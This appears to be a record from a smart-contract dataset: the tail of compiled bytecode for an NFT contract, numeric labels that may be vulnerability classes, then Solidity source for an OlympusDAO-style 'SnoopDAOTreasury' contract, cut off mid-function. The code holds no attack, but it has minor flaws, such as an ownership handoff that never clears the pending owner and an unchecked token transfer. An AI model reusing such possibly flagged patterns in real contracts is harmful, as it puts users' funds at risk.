35b34801561051157600080fd5b5061052c600480360381019061052791906126e5565b610ea1565b005b34801561053a57600080fd5b50610543610ef4565b6040516105509190612b51565b60405180910390f35b34801561056557600080fd5b50610580600480360381019061057b919061288b565b610efa565b60405161058d9190612acf565b60405180910390f35b3480156105a257600080fd5b506105bd60048036038101906105b89190612652565b610f99565b6040516105ca9190612ab4565b60405180910390f35b3480156105df57600080fd5b506105fa60048036038101906105f59190612625565b61102d565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806106c757507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806106d757506106d682611125565b5b9050919050565b6060600280546106ed90612e0c565b80601f016020809104026020016040519081016040528092919081815260200182805461071990612e0c565b80156107665780601f1061073b57610100808354040283529160200191610766565b820191906000526020600020905b81548152906001019060200180831161074957829003601f168201915b5050505050905090565b600061077b8261118f565b6107b1576040517fcf4700e400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006107f782610a9a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561085f576040517f943f7b8c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661087e6111c9565b73ffffffffffffffffffffffffffffffffffffffff16141580156108b057506108ae816108a96111c9565b610f99565b155b156108e7576040517fcfb3b94200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6108f28383836111d1565b505050565b600a60009054906101000a900460ff1681565b6108d281565b600060015460005403905090565b610929838383611283565b505050565b6109366111c9565b73ffffffffffffffffffffffffffffffffffffffff16610954610c96565b73ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a190612b31565b60405180910390fd5b6000479050600081116109bc57600080fd5b6109c63382611774565b50565b6109e483838360405180602001604052806000815250610ea1565b505050565b6109f16111c9565b73ffffffffffffffffffffffffffffffffffffffff16610a0f610c96565b73ffffffffffffffffffffffffffffffffffffffff1614610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90612b31565b60405180910390fd5b80600b9080519060200190610a7b9291906123f6565b506001600a60006101000a81548160ff02191690831515021790555050565b6000610aa582611825565b600001519050919050565b600b8054610abd90612e0c565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae990612e0c565b8015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ba6576040517f8f4eb60400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b610c166111c9565b73ffffffffffffffffffffffffffffffffffffffff16610c34610c96565b73ffffffffffffffffffffffffffffffffffffffff1614610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190612b31565b60405180910390fd5b610c946000611aa1565b565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610cc86111c9565b73ffffffffffffffffffffffffffffffffffffffff16610ce6610c96565b73ffffffffffffffffffffffffffffffffffffffff1614610d3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3390612b31565b60405180910390fd5b8060098190555050565b606060038054610d5590612e0c565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8190612e0c565b8015610dce5780601f10610da357610100808354040283529160200191610dce565b820191906000526020600020905b815481529060010190602001808311610db157829003601f168201915b5050505050905090565b6000610de2610910565b90506108d28282610df39190612c41565b1115610dfe57600080fd5b3482600954610e0d9190612cc8565b111580610e2257506102f6610e20610910565b105b610e2b57600080fd5b601482610e3e610e396111c9565b610b3e565b610e489190612c41565b1115610e5357600080fd5b610e5d3383611b67565b5050565b6108d2610e6c610910565b101580610e855750600a60009054906101000a900460ff165b610e8e57600080fd5b610e988282611b85565b5050565b601481565b610eac848484611283565b610eb884848484611cfd565b610eee576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b60095481565b6060610f058261118f565b610f3b576040517fa14c4b5000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000610f45611e8b565b9050600081511415610f665760405180602001604052806000815250610f91565b80610f7084611f1d565b604051602001610f81929190612a14565b6040516020818303038152906040525b915050919050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6110356111c9565b73ffffffffffffffffffffffffffffffffffffffff16611053610c96565b73ffffffffffffffffffffffffffffffffffffffff16146110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090612b31565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090612b11565b60405180910390fd5b61112281611aa1565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008054821080156111c2575060046000838152602001908152602001600020600001601c9054906101000a900460ff16155b9050919050565b600033905090565b826006600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b600061128e82611825565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff166112b56111c9565b73ffffffffffffffffffffffffffffffffffffffff1614806112e857506112e782600001516112e26111c9565b610f99565b5b8061132d57506112f66111c9565b73ffffffffffffffffffffffffffffffffffffffff1661131584610770565b73ffffffffffffffffffffffffffffffffffffffff16145b905080611366576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff16146113cf576040517fa114810000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611436576040517fea553b3400000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b611443858585600161207e565b61145360008484600001516111d1565b6001600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506001600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550836004600085815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600085815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600184019050600073ffffffffffffffffffffffffffffffffffffffff166004600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611704576000548110156117035782600001516004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082602001516004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b50828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461176d8585856001612084565b5050505050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405161179a90612a38565b60006040518083038185875af1925050503d80600081146117d7576040519150601f19603f3d011682016040523d82523d6000602084013e6117dc565b606091505b5050905080611820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181790612af1565b60405180910390fd5b505050565b61182d61247c565b6000829050600054811015611a6a576000600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff16151515158152505090508060400151611a6857600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461194c578092505050611a9c565b5b600115611a6757818060019003925050600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614611a62578092505050611a9c565b61194d565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611b8182826040518060200160405280600081525061208a565b5050565b611b8d6111c9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf2576040517fb06307db00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060076000611bff6111c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611cac6111c9565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611cf19190612ab4565b60405180910390a35050565b6000611d1e8473ffffffffffffffffffffffffffffffffffffffff1661209c565b15611e7e578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611d476111c9565b8786866040518563ffffffff1660e01b8152600401611d699493929190612a68565b602060405180830381600087803b158015611d8357600080fd5b505af1925050508015611db457506040513d601f19601f82011682018060405250810190611db19190612815565b60015b611e2e573d8060008114611de4576040519150601f19603f3d011682016040523d82523d6000602084013e611de9565b606091505b50600081511415611e26576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050611e83565b600190505b949350505050565b6060600b8054611e9a90612e0c565b80601f0160208091040260200160405190810160405280929190818152602001828054611ec690612e0c565b8015611f135780601f10611ee857610100808354040283529160200191611f13565b820191906000526020600020905b815481529060010190602001808311611ef657829003601f168201915b5050505050905090565b60606000821415611f65576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612079565b600082905060005b60008214611f97578080611f8090612e6f565b915050600a82611f909190612c97565b9150611f6d565b60008167ffffffffffffffff811115611fb357611fb2612fa5565b5b6040519080825280601f01601f191660200182016040528015611fe55781602001600182028036833780820191505090505b5090505b6000851461207257600182611ffe9190612d22565b9150600a8561200d9190612eb8565b60306120199190612c41565b60f81b81838151811061202f5761202e612f76565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561206b9190612c97565b9450611fe9565b8093505050505b919050565b50505050565b50505050565b61209783838360016120bf565b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561212c576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000841415612167576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b612174600086838761207e565b83600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555083600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550846004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060005b858110156123d957818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a483801561238d575061238b6000888488611cfd565b155b156123c4576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b81806001019250508080600101915050612312565b5080600081905550506123ef6000868387612084565b5050505050565b82805461240290612e0c565b90600052602060002090601f016020900481019282612424576000855561246b565b82601f1061243d57805160ff191683800117855561246b565b8280016001018555821561246b579182015b8281111561246a57825182559160200191906001019061244f565b5b50905061247891906124bf565b5090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b5b808211156124d85760008160009055506001016124c0565b5090565b60006124ef6124ea84612b91565b612b6c565b90508281526020810184848401111561250b5761250a612fd9565b5b612516848285612dca565b509392505050565b600061253161252c84612bc2565b612b6c565b90508281526020810184848401111561254d5761254c612fd9565b5b612558848285612dca565b509392505050565b60008135905061256f8161309d565b92915050565b600081359050612584816130b4565b92915050565b600081359050612599816130cb565b92915050565b6000815190506125ae816130cb565b92915050565b600082601f8301126125c9576125c8612fd4565b5b81356125d98482602086016124dc565b91505092915050565b600082601f8301126125f7576125f6612fd4565b5b813561260784826020860161251e565b91505092915050565b60008135905061261f816130e2565b92915050565b60006020828403121561263b5761263a612fe3565b5b600061264984828501612560565b91505092915050565b6000806040838503121561266957612668612fe3565b5b600061267785828601612560565b925050602061268885828601612560565b9150509250929050565b6000806000606084860312156126ab576126aa612fe3565b5b60006126b986828701612560565b93505060206126ca86828701612560565b92505060406126db86828701612610565b9150509250925092565b600080600080608085870312156126ff576126fe612fe3565b5b600061270d87828801612560565b945050602061271e87828801612560565b935050604061272f87828801612610565b925050606085013567ffffffffffffffff8111156127505761274f612fde565b5b61275c878288016125b4565b91505092959194509250565b6000806040838503121561277f5761277e612fe3565b5b600061278d85828601612560565b925050602061279e85828601612575565b9150509250929050565b600080604083850312156127bf576127be612fe3565b5b60006127cd85828601612560565b92505060206127de85828601612610565b9150509250929050565b6000602082840312156127fe576127fd612fe3565b5b600061280c8482850161258a565b91505092915050565b60006020828403121561282b5761282a612fe3565b5b60006128398482850161259f565b91505092915050565b60006020828403121561285857612857612fe3565b5b600082013567ffffffffffffffff81111561287657612875612fde565b5b612882848285016125e2565b91505092915050565b6000602082840312156128a1576128a0612fe3565b5b60006128af84828501612610565b91505092915050565b6128c181612d56565b82525050565b6128d081612d68565b82525050565b60006128e182612bf3565b6128eb8185612c09565b93506128fb818560208601612dd9565b61290481612fe8565b840191505092915050565b600061291a82612bfe565b6129248185612c25565b9350612934818560208601612dd9565b61293d81612fe8565b840191505092915050565b600061295382612bfe565b61295d8185612c36565b935061296d818560208601612dd9565b80840191505092915050565b6000612986601083612c25565b915061299182612ff9565b602082019050919050565b60006129a9602683612c25565b91506129b482613022565b604082019050919050565b60006129cc602083612c25565b91506129d782613071565b602082019050919050565b60006129ef600083612c1a565b91506129fa8261309a565b600082019050919050565b612a0e81612dc0565b82525050565b6000612a208285612948565b9150612a2c8284612948565b91508190509392505050565b6000612a43826129e2565b9150819050919050565b6000602082019050612a6260008301846128b8565b92915050565b6000608082019050612a7d60008301876128b8565b612a8a60208301866128b8565b612a976040830185612a05565b8181036060830152612aa981846128d6565b905095945050505050565b6000602082019050612ac960008301846128c7565b92915050565b60006020820190508181036000830152612ae9818461290f565b905092915050565b60006020820190508181036000830152612b0a81612979565b9050919050565b60006020820190508181036000830152612b2a8161299c565b9050919050565b60006020820190508181036000830152612b4a816129bf565b9050919050565b6000602082019050612b666000830184612a05565b92915050565b6000612b76612b87565b9050612b828282612e3e565b919050565b6000604051905090565b600067ffffffffffffffff821115612bac57612bab612fa5565b5b612bb582612fe8565b9050602081019050919050565b600067ffffffffffffffff821115612bdd57612bdc612fa5565b5b612be682612fe8565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000612c4c82612dc0565b9150612c5783612dc0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c8c57612c8b612ee9565b5b828201905092915050565b6000612ca282612dc0565b9150612cad83612dc0565b925082612cbd57612cbc612f18565b5b828204905092915050565b6000612cd382612dc0565b9150612cde83612dc0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d1757612d16612ee9565b5b828202905092915050565b6000612d2d82612dc0565b9150612d3883612dc0565b925082821015612d4b57612d4a612ee9565b5b828203905092915050565b6000612d6182612da0565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612df7578082015181840152602081019050612ddc565b83811115612e06576000848401525b50505050565b60006002820490506001821680612e2457607f821691505b60208210811415612e3857612e37612f47565b5b50919050565b612e4782612fe8565b810181811067ffffffffffffffff82111715612e6657612e65612fa5565b5b80604052505050565b6000612e7a82612dc0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ead57612eac612ee9565b5b600182019050919050565b6000612ec382612dc0565b9150612ece83612dc0565b925082612ede57612edd612f18565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f5f7769746864726177206661696c656400000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b50565b6130a681612d56565b81146130b157600080fd5b50565b6130bd81612d68565b81146130c857600080fd5b50565b6130d481612d74565b81146130df57600080fd5b50565b6130eb81612dc0565b81146130f657600080fd5b5056fea26469706673582212202c43f2782f74bd06bf625cc55193ea3e2bf88abf1178e197951dbc229c1f37df64736f6c63430008070033
[ 12, 5, 11 ]
0xf36cb80FB7A184d3243FCF931d7C89f84034A9fa
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IOwnable { function manager() external view returns (address); function renounceManagement() external; function pushManagement( address newOwner_ ) external; function pullManagement() external; } contract Ownable is IOwnable { address internal _owner; address internal _newOwner; event OwnershipPushed(address indexed previousOwner, address indexed newOwner); event OwnershipPulled(address indexed previousOwner, address indexed newOwner); constructor () { _owner = msg.sender; emit OwnershipPushed( address(0), _owner ); } function manager() public view override returns (address) { return _owner; } modifier onlyManager() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } function renounceManagement() public virtual override onlyManager() { emit OwnershipPushed( _owner, address(0) ); _owner = address(0); } function pushManagement( address newOwner_ ) public virtual override onlyManager() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipPushed( _owner, newOwner_ ); _newOwner = newOwner_; } function pullManagement() public virtual override { require( msg.sender == _newOwner, "Ownable: must be new owner to pull"); emit OwnershipPulled( _owner, _newOwner ); _owner = _newOwner; } } interface IERC20 { function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function totalSupply() external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20Mintable { function mint( uint256 amount_ ) external; function mint( address account_, uint256 ammount_ ) external; } interface ISNOOPERC20 { function burnFrom(address account_, uint256 amount_) external; } interface IBondCalculator { function valuation( address pair_, uint amount_ ) external view returns ( uint _value ); } contract SnoopDAOTreasury is Ownable { using SafeMath for uint; using SafeERC20 for IERC20; event Deposit( address indexed token, uint amount, uint value ); event Withdrawal( address indexed token, uint amount, uint value ); event CreateDebt( address indexed debtor, address indexed token, uint amount, uint value ); event RepayDebt( address indexed debtor, address indexed token, uint amount, uint value ); event ReservesManaged( address indexed token, uint amount ); event ReservesUpdated( uint indexed totalReserves ); event ReservesAudited( uint indexed totalReserves ); event RewardsMinted( address indexed caller, address indexed recipient, uint amount ); event ChangeQueued( MANAGING indexed managing, address queued ); event ChangeActivated( MANAGING indexed managing, address activated, bool result ); enum MANAGING { RESERVEDEPOSITOR, RESERVESPENDER, RESERVETOKEN, RESERVEMANAGER, LIQUIDITYDEPOSITOR, LIQUIDITYTOKEN, LIQUIDITYMANAGER, DEBTOR, REWARDMANAGER, SSNOOP } address public immutable SNOOP; uint public immutable blocksNeededForQueue; address[] public reserveTokens; // Push only, beware false-positives. mapping( address => bool ) public isReserveToken; mapping( address => uint ) public reserveTokenQueue; // Delays changes to mapping. address[] public reserveDepositors; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isReserveDepositor; mapping( address => uint ) public reserveDepositorQueue; // Delays changes to mapping. address[] public reserveSpenders; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isReserveSpender; mapping( address => uint ) public reserveSpenderQueue; // Delays changes to mapping. address[] public liquidityTokens; // Push only, beware false-positives. mapping( address => bool ) public isLiquidityToken; mapping( address => uint ) public LiquidityTokenQueue; // Delays changes to mapping. address[] public liquidityDepositors; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isLiquidityDepositor; mapping( address => uint ) public LiquidityDepositorQueue; // Delays changes to mapping. mapping( address => address ) public bondCalculator; // bond calculator for liquidity token address[] public reserveManagers; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isReserveManager; mapping( address => uint ) public ReserveManagerQueue; // Delays changes to mapping. address[] public liquidityManagers; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isLiquidityManager; mapping( address => uint ) public LiquidityManagerQueue; // Delays changes to mapping. address[] public debtors; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isDebtor; mapping( address => uint ) public debtorQueue; // Delays changes to mapping. mapping( address => uint ) public debtorBalance; address[] public rewardManagers; // Push only, beware false-positives. Only for viewing. mapping( address => bool ) public isRewardManager; mapping( address => uint ) public rewardManagerQueue; // Delays changes to mapping. address public sSNOOP; uint public sSNOOPQueue; // Delays change to sSNOOP address uint public totalReserves; // Risk-free value of all assets uint public totalDebt; constructor ( address _SNOOP, address _DOG, address _DOGBondCalculator, uint _blocksNeededForQueue ) { require( _SNOOP != address(0) ); SNOOP = _SNOOP; isReserveToken[ _DOG ] = true; reserveTokens.push( _DOG ); bondCalculator [ _DOG ] = _DOGBondCalculator; blocksNeededForQueue = _blocksNeededForQueue; } /** @notice allow approved address to deposit an asset for SNOOP @param _amount uint @param _token address @param _profit uint @return send_ uint */ function deposit( uint _amount, address _token, uint _profit ) external returns ( uint send_ ) { require( isReserveToken[ _token ] || isLiquidityToken[ _token ], "Not accepted" ); IERC20( _token ).safeTransferFrom( msg.sender, address(this), _amount ); if ( isReserveToken[ _token ] ) { require( isReserveDepositor[ msg.sender ], "Not approved" ); } else { require( isLiquidityDepositor[ msg.sender ], "Not approved" ); } uint value = valueOf(_token, _amount); // mint SNOOP needed and store amount of rewards for distribution send_ = value.sub( _profit ); IERC20Mintable( SNOOP ).mint( msg.sender, send_ ); totalReserves = totalReserves.add( value ); emit ReservesUpdated( totalReserves ); emit Deposit( _token, _amount, value ); } /** @notice allow approved address to burn SNOOP for reserves @param _amount uint @param _token address */ function withdraw( uint _amount, address _token ) external { require( isReserveToken[ _token ], "Not accepted" ); // Only reserves can be used for redemptions require( isReserveSpender[ msg.sender ] == true, "Not approved" ); uint value = valueOf( _token, _amount ); ISNOOPERC20( SNOOP ).burnFrom( msg.sender, value ); totalReserves = totalReserves.sub( value ); emit ReservesUpdated( totalReserves ); IERC20( _token ).safeTransfer( msg.sender, _amount ); emit Withdrawal( _token, _amount, value ); } /** @notice allow approved address to borrow reserves @param _amount uint @param _token address */ function incurDebt( uint _amount, address _token ) external { require( isDebtor[ msg.sender ], "Not approved" ); require( isReserveToken[ _token ], "Not accepted" ); uint value = valueOf( _token, _amount ); uint maximumDebt = IERC20( sSNOOP ).balanceOf( msg.sender ); // Can only borrow against sSNOOP held uint availableDebt = maximumDebt.sub( debtorBalance[ msg.sender ] ); require( value <= availableDebt, "Exceeds debt limit" ); debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].add( value ); totalDebt = totalDebt.add( value ); totalReserves = totalReserves.sub( value ); emit ReservesUpdated( totalReserves ); IERC20( _token ).transfer( msg.sender, _amount ); emit CreateDebt( msg.sender, _token, _amount, value ); } /** @notice allow approved address to repay borrowed reserves with reserves @param _amount uint @param _token address */ function repayDebtWithReserve( uint _amount, address _token ) external { require( isDebtor[ msg.sender ], "Not approved" ); require( isReserveToken[ _token ], "Not accepted" ); IERC20( _token ).safeTransferFrom( msg.sender, address(this), _amount ); uint value = valueOf( _token, _amount ); debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( value ); totalDebt = totalDebt.sub( value ); totalReserves = totalReserves.add( value ); emit ReservesUpdated( totalReserves ); emit RepayDebt( msg.sender, _token, _amount, value ); } /** @notice allow approved address to repay borrowed reserves with SNOOP @param _amount uint */ function repayDebtWithSNOOP( uint _amount ) external { require( isDebtor[ msg.sender ], "Not approved" ); ISNOOPERC20( SNOOP ).burnFrom( msg.sender, _amount ); 